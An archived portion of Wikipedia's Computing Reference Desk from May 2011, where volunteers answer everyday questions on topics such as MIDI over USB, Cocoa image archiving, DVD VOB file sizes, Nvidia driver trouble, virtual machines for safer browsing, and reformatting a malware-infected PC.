I had the same problem. I disabled all automatic updates and it stopped happening, but obviously that's not a solution for everyone. 82.43.89.63 (talk) 22:08, 5 May 2011 (UTC)[reply]

You can try to go to event viewer and see if you can get any clues as to what might be freezing the machine, explaining how to do that is beyond the scope of a wiki post, but I'm sure if you google it you'll find a bunch of useful sites. Try to find the last events that occur before you force the hard shut down and it might give you a clue as to what's causing the problem. Vespine (talk) 23:46, 5 May 2011 (UTC)[reply]

May 6

About music instrumens

Is it possible to interface two music instruments via usb like midi?. —Preceding unsigned comment added by 115.241.27.252 (talk) 03:26, 6 May 2011 (UTC)[reply]

You need to explain what you mean. Are you talking about electronic instruments like electric guitars and synthesizers ? You could certainly collect signals, convert them into MIDI format, and send them down a USB cable (or you could do it wirelessly). But why would you want to send that info to another instrument, rather than to speakers (or to a computer for storage and further processing) ? Are you asking about actually having an instrument play the MIDI file ? If so, that would require quite a change in the design of the instrument, much like a player piano required a major change in piano design. I don't see much point in doing that, as it would be cheaper and you'd get better sound to just play the MIDI file with normal speakers. StuRat (talk) 04:19, 6 May 2011 (UTC)[reply]

Be aware MIDI only sends note commands, it's up to the receiving instrument to make the sounds. You wouldn't send MIDI directly to speakers, but to a MIDI instrument or synthesizer that has speakers attached.

Be aware MIDI messages between instruments are note commands that take effect immediately. A MIDI file records these commands with time stamps. Instrument-to-instrument communication is usually with the immediate MIDI messages, not with the recorded MIDI files.

The main reason you would connect two MIDI instruments is because you like the controls on one and the sounds on the other. You connect them so you can use the first instrument's controls to control the second instrument's sounds. --Bavi H (talk) 16:54, 7 May 2011 (UTC)[reply]

Since this is the Computing Reference Desk, 115.241.27.252 may be thinking of electronic instruments, perhaps those that have both MIDI ports and a USB port, and already have the ability to send and receive MIDI commands. 115.241.27.252 may be asking if it's possible to connect two instruments for MIDI-like control using a USB cable instead of a MIDI cable. The main problem I can think of is that in a USB connection, one end is a host (type A connector) and the other end is a peripheral (type B connector). It might be unlikely that an instrument would have USB host capabilities. You would probably need to connect the two USB instruments to a computer. --Bavi H (talk) 16:54, 7 May 2011 (UTC)[reply]

What is the site that shows a comparison between the fair second hand price of items selling on Ebay?

It shows the fair second hand price and the percentage or amount that it differs from the current Ebay bid price... —Preceding unsigned comment added by 203.24.7.9 (talk) 09:42, 6 May 2011 (UTC)[reply]

Bookmarking websites in Safari

Is it possible to bookmark websites in Safari and if so how? I am using Safari under Windows 7. Toshio Yamaguchi (talk) 12:32, 6 May 2011 (UTC)[reply]

A Google search turned up this General Rommel (talk) 00:38, 7 May 2011 (UTC)[reply]

If you just want it in the bookmarks bar, Just click the "+" button by the address bar, assuming you haven't removed it. Also, you can drag the website's favicon to the bookmarks bar. If you want to organize though, go to General Rommel's link. --Thekmc (Leave me a message) 01:11, 7 May 2011 (UTC)[reply]

Image thumbnails from wikipedia, archived?

Is there anywhere where one can download all wikipedia images as a dump. In the same way as the articles?, I can't be the only one on this planet that has thought of this. And 3.6 million pages with say 2-3 images each is quite a lot.. Electron9 (talk) 13:26, 6 May 2011 (UTC)[reply]

This functionality was disabled in 2007, so it appears you may be out of luck, unless you find a Wikipedia mirror that does allow this. That page does mention a utility that may be of use; and it mentions that scraping Wikipedia pages would work, though it's better for Wikipedia if you download databases rather than scrape the pages. Comet Tuttle (talk) 18:45, 7 May 2011 (UTC)[reply]

Virtual machines for web surfing.

Would using virtual machines when I surf the internet make my computer more secure. Specifically keeping one virtual machine for banking and one for casual surfing.

I am using VirtualBox to manage the virtual machines and are running ubuntu guests on a Windows 7 host. 88.90.43.140 (talk) 13:45, 6 May 2011 (UTC)[reply]

Yes... but only up to a point. Presumably much of the bad software that could compromise your personal information on the host OS would also be able to give someone the power to access your virtual machines. Now if you encrypted the virtual machines with additional protection, that would go much farther. I saner approach, IMO, would be to use Linux for your host OS, and virtual machines for the rare Windows software you somehow can't live without and cannot run via Wine. ¦ Reisio (talk) 14:15, 6 May 2011 (UTC)[reply]

I'm guessing the OP is more worried about the guest OSes been compromised via the web then the host OS, whether or not it's a sane approach Nil Einne (talk) 16:03, 6 May 2011 (UTC)[reply]

One of the more important uses of the PC will be gaming. So linux host is more or less out. Actually I aminterested in likelyhood of the host getting compromised via from things done in the guest. I more or less take it as a given that the guest will be compromised if the host is. Taemyr (talk) 16:22, 6 May 2011 (UTC)[reply]

A virtual machine is no more secure than a real machine is; it's how you use it that matters. If you get a virus on your virtual machine it can still become part of a botnet, compromise your banking details, etc etc. I personally sometimes use a virtual machine for testing downloaded programs I am unsure of, so that if they do turn out to be a virus I can simply delete the virtual machine and reinstall. I wouldn't want to do daily tasks on a virtual machine as they're much slower than real hardware. 82.43.89.63 (talk) 16:13, 6 May 2011 (UTC)[reply]

Shouldn't be "much" slower with relatively modern hardware. ¦ Reisio (talk) 18:03, 6 May 2011 (UTC)[reply]

Yes of course. But if I get malware on my virtual machine I can just delete the whole thing and start over, nothing I need to keep there is of interest. Taemyr (talk) 16:22, 6 May 2011 (UTC)[reply]

The guest and the host machine are just 2 different systems running on the same hardware, and malware infecting the former will not reach the latter if they are not connected to each other in some way. For example, if you use shared directories, or if you link them through a host-only network. (I use VirtalBox too.) Otherwise, the host will be secure. Think as if you had 2 different PCs connected to the same modem. Sorry for my English --151.56.113.184 (talk) 17:07, 7 May 2011 (UTC)[reply]

How do Template:LaTeX package makers do it?

Do they have to create vector graphics of every glyph or symbol in their package for every possible permutation in which their symbols come together? Sooner or later the high level stuff like \frac{x^2_i}{\sqrt{2}} has to get translated down to raw pixels, and if I'm creating a package with a totally new squiggle that changes whether it's placed next to a character or a whole expression...how do they do it? 20.137.18.50 (talk) 14:42, 6 May 2011 (UTC)[reply]

Just as with any programming language, you start with some very simple functions and use those to make more complicated functions. Then, you can use those to make even more complicated functions. Eventually, you can do very complicated things with a single function call. You don't HAVE to use the single function call. You can type out all of the complicated code yourself. As for doing it yourself - you can write your own functions. It isn't common that you would need to do so, but many people do write their own. -- kainaw ™ 15:07, 6 May 2011 (UTC)[reply]

Right. If you wanted to use a new type of squiggle in Template:LaTeX, you would have to create a new font containing it. The font file contains the instructions for rendering the symbols at the pixel level. To get context-dependent rendering, you would have to write some fancy code in the Template:LaTeX or Template:TeX languages. Looie496 (talk) 16:46, 6 May 2011 (UTC)[reply]

Depending on the way you plan to use your "custom squiggle", and how often you intend to use it, it may be easier to create a SVG, PNG, or encapsulated postscript vector or raster image, and have your TeX environment include it as an image. When I was working with TeX, this was our standard procedure for all our non-equation "graphics," where the term "graphic" can be loosely interpreted to also include certain unusual equations, program outputs, and images. This allowed us to write custom rendering routines in the language and methodology of our own choosing; and then communicate the results to the TeX environment as a vector-graphic image for inclusion in the final paper. Nimur (talk) 17:01, 6 May 2011 (UTC)[reply]

May 7

Apple Cocoa NSImage Question

To anybody who is a cocoa developer: I am creating a cocoa application which saves data (an NSMutableDictionaty) to the disk using NSKeyedArchiver, and then loads it back with the NSKeyedUnarchiver. It saves all of my string data and stuff fine, but I also have an Image that I want it to save to disk. It doesn't seem to be saving it because when I load the data, it uses the default image instead of the one I specified to have saved. Any ideas? Please ask me if you need more clarification than that. Thanks in advance --Thekmc (Leave me a message) 01:19, 7 May 2011 (UTC)[reply]

I'm not a Cocoa developer, but searching around finds this Stack Overflow discussion about serialising an NSImage to a sql database. To do that they first make an TIFFRepresentation (and looking at the docs, probably any other NSBitmapImageRep would do too), which gives them concrete access to the image data. Presumably on reconstruction you'll have to build a new NSImage from the image-rep you've retrieved from the dictionary. -- Finlay McWalter ☻ Talk 10:07, 7 May 2011 (UTC)[reply]

Thanks for the fast response. I tried TIFFRepresentation, and I think It got saved properly (though I don't know for sure). The problem is that I don't know how to get the NSImage out of the file I'm loading. Do you have any idea of a method I could use to convert the TIFFRepresentation back to a loadable NSImage? I know you're not a cocoa developer, but if you (or anyone else) has any ideas, I would appreciate the help. Thanks again, Thekmc (Leave me a message) 15:30, 7 May 2011 (UTC)[reply]

If I understand things correctly (I can barely read Objective C too...) a TiffRepresentation is just an alias for an (NSData *) (ref), and NSImage has an initaliser initWithData which takes an (NSData *) argument.(ref). So if you have serialised that data correctly, hopefully that should rebuild the image okay. If you can get this to work, please post a super-minimal example of the actual code, as I'm interested to see what it looks like. -- Finlay McWalter ☻ Talk 15:46, 7 May 2011 (UTC)[reply]

Minor terminology correction: in the reference you linked, Finlay, TiffRepresentation is not an alias at all; it is the "message interface"; it is analogous to the name of a "function" or "method" in C++ or Java. This message returns a result of type NSData*. Properly, in Objective C, the correct terminology to describe this is that the NSBitmapImageRep class handles a message, called TiffRepresentation; it will respond to this message by returning an NSData* that is a TIFF representation of the receiver. We need not overly complicate this with implementation details about the difference between messages and functions. Some elaboration on this in our article's "implementation" section. In my opinion, this is obtuse terminology; it gets even more obtuse in Objective-C++ where there are both methods and messages. Nimur (talk) 16:23, 7 May 2011 (UTC)[reply]

It still isn't working for me. I'll post all the pertinent code, and any help would be appreciated.

  -(void)applicationWillTerminate:(NSNotification *)notification{ //Save The Data
 	 NSData* myEncodedImage = [[villain objectForKey:kMugshot] TIFFRepresentation]; //getting the TIFF representation
 	  [villain setObject:myEncodedImage forKey:kMugshot]; //changing image in dictionary to the recently retrieved TIFFRepresentation
 	  NSData* savedData = [NSKeyedArchiver archivedDataWithRootObject:villain]; //Changing dictionary to NSData
 	  [savedData writeToFile:[@"~/savedVillain.vil" stringByExpandingTildeInPath] atomically:YES]; //Saving the NSData
   }

Here is the applicationWillFinishLaunching:

 self.villain = [NSKeyedUnarchiver unarchiveObjectWithFile:[@"~/savedVillain.vil" stringByExpandingTildeInPath]]; //Loading the dictionary back into the application
 		NSImage *imageTemp = [[NSImage alloc] initWithData:[self.villain objectForKey:kMugshot]]; //Getting the TiffRepresentation out of the dictionary and changing it to NSImage
 		[self.villain setObject:imageTemp forKey:kMugshot]; //Changing the dictionary's image to the imageTemp NSImage

--Thekmc (Leave me a message) 19:41, 7 May 2011 (UTC)[reply]

Well, are you actually seeing the saved file, "savedVillain.vil"? Can you confirm its contents, or at least test whether the file changes when you save a different image? Nimur (talk) 19:00, 7 May 2011 (UTC)[reply]

Yes, the files are changing. Was there anything noticeably wrong with the code? If you can't see anything, It's okay, because this is only a practice project anyway, and it doesn't really matter if it works. I would like it If I could figure it out, but I you see nothing wrong, then i'll be fine. --Thekmc (Leave me a message) 19:41, 7 May 2011 (UTC)[reply]

Windows Live Messenger Error?

For a few days now, WLM has been telling me I have 1 unread message in my inbox. I use my browser to check my Hotmail, and cannot find this message anywhere. It has happened before (some months back), but I can't remember what I did to solve it. Does anyone know anything about this? KägeTorä - (影虎) (TALK) 06:50, 7 May 2011 (UTC)[reply]

It may be because of some automatic folder sorting system, but that's only a guess. Zakhalesh (talk) 07:10, 7 May 2011 (UTC)[reply]

how to manage add/remove programe on control pannel

In contol pannel-add/temove progrmas,their may be many programes, some of which have same functions ,some are necessay for others to work ,some are not necessary.how can we manage them.For example ,on my computer programs installed are adobe air,acrobat.com,adobe flash player 10 active X,adobe reader 9,adobe shockwave player 11.5 ,Microsoft.Net Framework 2.0 sp2,Microsoft Framework 3.0 , Microsoft.net Framework 3.5 .i want to have necessary programes (in genaeral).how can i manage them,is their any book on managing it —Preceding unsigned comment added by True path finder (talk • contribs) 07:51, 7 May 2011 (UTC)[reply]

You'll probably want all those except adobe air and acrobat.com. ¦ Reisio (talk) 10:30, 7 May 2011 (UTC)[reply]

Whether you want adobe air really depends on your situation - if you run adobe air based programs (the example that I run is BBC iplayer desktop software) you need adobe air. Someone with more knowledge than me may be able to tell you how to find out if you have any adobe air programs installed. Acrobat.com appears to be web conferencing software, so if you do web conferencing you really want that as well. The best way to manage your installed programs is to first install and use good anti-spyware software (e.g. Windows Defender which comes bundled with vista and windows 7, or can be downloaded separately). This should ensure you don't have any programs you really don't want on your computer (you should of course be running anti-virus as well). Secondly the only thing you can do is decide whether you personally use the program - almost all programs except spyware are some use to some user somewhere. Googling the program name can help if you are not sure what it does. If you're not sure whether you use it just leave it - the consequences are frankly minimal and certainly it's better to do that than to remove programs that you later find out you need (even if you are short of hard drive space media usually takes up much more space than installed programs - with the exception of games). Equisetum (talk | email | contributions) 18:39, 7 May 2011 (UTC)[reply]

DVD movie file size

I've been going through the files on my DVD movie collection and have found that the movie file itself is nearly always 1023.X MB. The range is about .3 MB between the biggest and smallest. But no matter whether the movie is a 90 minute comedy or a 2.5 hour drama, they're 1023.X MB. This has held true with one exception... A short 16 minute film that a local director made of which I have a copy since I was part of the crew. Just to clarify what you may be thinking... The film was not shot with a little point and shoot home movie camera. It was a serious film that went on to pretty good success at film festivals and such. The file size for it was 716 MB.

So, my questions are these:

Why have all the films from 90 minutes to 2.5 hours been nearly identical as far as file size?
Why does a 16 minute film, less than 1/4 the length of some of the other films, have a file size that's at least 2/3 the file size of those longer films?

Thanks, Dismas|^(talk) 17:25, 7 May 2011 (UTC)[reply]

Basically the DVD authors usually try to set the bit rate of the film to whatever the maximum can be. If it is a short film, you can set it really high, to fill the whole disk. If it is a long film, you can't do that. Most DVD authoring programs these days have the ability to try and dynamically match the compression to the size of the disk. Using less compression increases the final quality. (And it is noticeable under many circumstances.) Basically in figuring out what bit rate to encode your DVD video into, you start with the size of the disk, the length of the movie, and work backwards, to get the most optimal use. There is no advantage in leaving blank space on the disk. On the other hand, for your second question, there is a maximum amount of bit rate that standard commercial DVD players can handle. It's something like 10mbs, if I recall. So you can't increase bit rate arbitrarily. (Note that the numbers can be misleading because the encoding of the audio can affect the overall bandwidth as well.) This page (which I used myself fairly recently) discusses how to calculate the necessary bit rate for DVDs, the maximum bit rates of DVD players, etc. --Mr.98 (talk) 18:36, 7 May 2011 (UTC)[reply]

I would agree with Mr.98 except that a DVD holds about 4.7GB, not 1GB. I suspect that Dismas has used a particular piece of software to rip all his DVDs, and there is a setting somewhere in one of the menus of that piece of software that says "Rip my DVDs to consume 1023MB of space." The software then uses the same principles Mr.98 outlined in order to try to consume exactly that amount of space. Comet Tuttle (talk) 18:40, 7 May 2011 (UTC)[reply]

Yes, that's probably right. --Mr.98 (talk) 18:42, 7 May 2011 (UTC)[reply]

No. That is wrong. I am not looking at the file size that any program on my system generates. I'm looking at the actual file size on the disc. Dismas|^(talk) 19:11, 7 May 2011 (UTC)[reply]

I'm a bit confused here. The typical DVD contains multiple VOB files (and a few other file types, for menu logic and such). Each VOB file is limited to 1024 MB, I believe. So, for any movie bigger than that (which is anything longer than around 20 mins), all the VOBS are that length, with the exception of the last one, and usually a few that have various extras, menus, and such. A DVD, in my experience, can be up to almost 8 GB per side. StuRat (talk) 19:04, 7 May 2011 (UTC)[reply]

The files VTS_##_1.VOB through VTS_##_9.VOB are one logical video stream split into parts of under 1GB (because of a limitation of UDF). Most DVD mastering software writes data to file 1 until it's slightly less than 1GB, then closes it and opens file 2, and so on. Most DVD players aren't even aware of this splitting. The VOB files 1 through 9 are stored contiguously on the disc, and the IFO files contain raw sector offsets to each other and to the VOB files, so once the DVD player has found VIDEO_TS.IFO it stops paying attention to the file system. -- BenRG (talk) 20:30, 7 May 2011 (UTC)[reply]

Great! Thanks for the explanations, all! Dismas|^(talk) 23:55, 7 May 2011 (UTC)[reply]

Nvidia drivers

Some days ago, for no apparent reason (perhaps a windows update) my monitor began flashing and freezed, and when I rebooted the computer it loaded windows and arrived to a black screen. I noticed that if I loaded windows in safe mode and disable the screen drivers, windows could load well, with the basic screen driver that comes with the system. That's well for the moment, but it still needs fixing: I have an 800x600 screen full of giant items and having to scroll around all the time, and many "yellow" tones around (higher resolutions have even worse glitches); not to mention that games are now useless.

I tried reinstalling the drivers from the CD, but that simply restores the black screen. The Nvidia web site is useless to download modern drivers, the autodetection does not detect the video card and the manual search does not provide me working drivers (for example, it makes me download a driver for windows XP 64 bits, which does not work because my XP is not 64 bits, even though I specifically selected "Windows XP" and not "Windows XP 64 bits").

Do you have other ideas? Cambalachero (talk) 19:27, 7 May 2011 (UTC)[reply]

~~Have you tried downloading from NVIDIA's driver download site?~~ (EDIT: I should read messages more than once when it's late) I'm more than familiar with the automatic driver updates in Windows, so I recommend downloading directly from the vendor. Zakhalesh (talk) 19:37, 7 May 2011 (UTC)[reply]

Longshot - check the card is correctly seated in the slot, any fans or heatsinks are properly attached, secondary power cables are connected etc - or move it into another slot and see if that resolves the issue. Exxolon (talk) 00:18, 8 May 2011 (UTC)[reply]

Intel i7 and quad precision

Does the Intel Core i7 FPU have Quadruple precision floating-point format? Bubba73 ^{You talkin' to me?} 23:28, 7 May 2011 (UTC)[reply]

I'm pretty sure the answer is no, i.e. true floating point logic in silicon is limited to 64-bit double precision. Many compilers will simulate quadruple precision for you in software though, which is generally just as good unless you need extremely high performance. Dragons flight (talk) 00:53, 8 May 2011 (UTC)[reply]

Oh, well. Eighty-bit Extended precision has existed in hardware for 30 years. Bubba73 ^{You talkin' to me?} 02:16, 8 May 2011 (UTC)[reply]

May 8

Repairing a broken pdf file

I get this message when trying to open a pdf file: xref table broken. pdftk does not work here, and so is the case of Adobe Acrobat. Actually, these programs never manage to repair broken pdfs, AFAIK. Are there any solutions that do not cost $183? I was working with PDF XChange and saving the changes. So, I have the original (not broken file) and the broken (with some changes made by me). Quest09 (talk) 00:47, 8 May 2011 (UTC)[reply]

Reformatting advice

So, I've got a Windows box that's picked up some malware. After repeated attempts to remove it, it just won't go away, so I've decided to reformat and start from scratch. While I'll be following the advice here, I've got a couple of other questions: My machine has a single physical HDD that's been partitioned into a C: and D: drive (C: is for programs, D: is for files) as well as a number of Alcohol 120% emulated DVD drives. If I pop in my Windows disc and reinstall, will those partitions get wiped out? If not, am I still at risk? There are no files left on them. If I am still at risk, what's the surest way to make sure everything gets nuked? fdisk? Any advice appreciated. Matt Deres (talk) 04:09, 8 May 2011 (UTC)[reply]

Yes, but you can always remake the partitions after reinstalling your OS. Then you can recreate your emulated DVD drives. General Rommel (talk) 05:44, 8 May 2011 (UTC)[reply]

Where to obtain a HyperSim card?

(I won't trust eBay until they have phone support for all)

I brought home a Softbank 920p from Japan, and the phone and its features (like the camera) stopped working a few months later. (Why not immediately?)

I was told there was a Hyper-Sim card, but none at Best Buy.

Froogle.com only shows Ebay hits, but I cannot trust that site after some harsh experiences.

Where are any other reputable sites that sell Hypersim cards? --70.179.169.115 (talk) 05:22, 8 May 2011 (UTC)[reply]

Accessing the entire Windows Phone 7 filesystem from a PC

It must be possible: how can I gain full read/write access to the file system on Windows Phone 7 over a PC without hacking/jailbreaking over a cable or other physical connection? --Melab±1 ☎ 07:20, 8 May 2011 (UTC)[reply]

How to quickly change IP addresses

My IP is getting stale, and I used to leave the modem disconnected all day while away from the apartment. That doesn't appear to work anymore, and I'm under Cox Communications. Are there other ways to change IPs? --70.179.169.115 (talk) 07:51, 8 May 2011 (UTC)[reply]